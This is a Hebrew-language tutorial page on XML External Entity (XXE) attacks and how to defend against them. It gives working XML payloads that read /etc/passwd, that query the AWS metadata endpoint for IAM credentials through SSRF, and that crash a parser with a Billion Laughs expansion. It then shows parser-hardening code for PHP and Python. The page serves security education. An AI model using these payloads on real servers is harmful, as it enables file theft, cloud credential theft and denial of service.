לדלג לתוכן

מתקפת XXE (XML External Entity)

מבוא

חולשת XXE (XML External Entity) היא חולשת אבטחה המתאפשרת כאשר יישומים מעבדים קבצי XML לא מאובטחים ומאפשרים טעינת ישויות חיצוניות (External Entities). באמצעות מתקפה זו, תוקף יכול:

  • לקרוא קבצים מהשרת

  • לבצע התקפת SSRF (Server-Side Request Forgery)

  • להדליף מידע רגיש

  • להשבית שירותים (Denial of Service - DoS)


כיצד פועלת מתקפת XXE?

פורמט הXML תומך ב-Entities, אשר ניתן להשתמש בהן להחדרת תוכן חיצוני לתוך מסמך XML. כאשר היישום מאפשר עיבוד של ישויות חיצוניות, תוקף יכול לנצל זאת כדי להוציא מידע מהשרת או לבצע בקשות לרשת פנימית.

דוגמה למסמך XML תקין:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
    <!ELEMENT data ANY>
    <!ENTITY example "Hello, World!">
]>
<data>&example;</data>

📌 כאשר היישום מעבד את המסמך, הוא מחליף את &example; במחרוזת "Hello, World!"


ניצול XXE לקריאת קבצים מהשרת

אם השרת מאפשר ישויות חיצוניות, תוקף יכול להגדיר ישות שתטען קובץ רגיש, כמו /etc/passwd.

דוגמה למסמך XML זדוני:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
    <!ELEMENT data ANY>
    <!ENTITY file SYSTEM "file:///etc/passwd">
]>
<data>&file;</data>

📌 כאשר השרת מעבד את ה-XML, הוא מחליף את &file; בתוכן של /etc/passwd ומחזיר אותו לתוקף.


SSRF באמצעות XXE

תוקף יכול להשתמש ב-XXE כדי לשלוח בקשות לכתובות פנימיות, למשל לנסות לגשת לממשק ניהול בענן.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
    <!ELEMENT data ANY>
    <!ENTITY ssrf SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
]>
<data>&ssrf;</data>

📌 אם האתר רץ על AWS, הוא עלול להדליף פרטי כניסה של השרת.


Denial of Service (DoS) עם XXE - "Billion Laughs Attack"

התקפה זו יוצרת לולאת הרחבות בלתי נגמרת שגורמת לקריסת השרת.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE lolz [
  <!ENTITY lol "LOL">
  <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
]>
<data>&lol3;</data>

📌 שרת שינסה לעבד את המסמך עלול לקרוס בגלל שימוש בזיכרון עצום.


כיצד להגן מפני מתקפות XXE?

1. ביטול ישויות חיצוניות בעת עיבוד XML

📌 ב-PHP עם SimpleXML:

libxml_disable_entity_loader(true);
$simpleXML = simplexml_load_string($xml);

📌 ב-Python עם lxml:

from lxml import etree
parser = etree.XMLParser(resolve_entities=False)
tree = etree.fromstring(xml_data, parser)

2. שימוש ב-JSON במקום XML

  • הפורמט JSON לא תומך בישויות חיצוניות, ולכן הוא בטוח יותר לשימוש.

3. הפעלת WAF (Web Application Firewall)

  • גם WAF כמו Cloudflare או ModSecurity יכולים לזהות ולחסום מתקפות XXE.

4. שימוש בספריות XML מאובטחות בלבד

  • ודא שהתוכנה מעודכנת ומשתמשת בספריות שלא מאפשרות ישויות חיצוניות כברירת מחדל.

5. סינון קלט משתמשים והגבלת גישה לקבצים רגישים


סיכום

🔴 מתקפות XXE מאפשרות לתוקף:

  • לקרוא קבצים רגישים מהשרת.

  • לבצע SSRF ולשלוח בקשות לרשת פנימית.

  • לגרום לקריסת השרת באמצעות התקפת DoS.

דרכי הגנה:

  • השבתת ישויות חיצוניות בעיבוד XML.

  • מעבר לשימוש ב-JSON במקום XML.

  • שימוש בספריות XML מאובטחות בלבד.

💡 אם היישום שלך מקבל קלט XML, ודא שהוא מוגן מפני מתקפות XXE!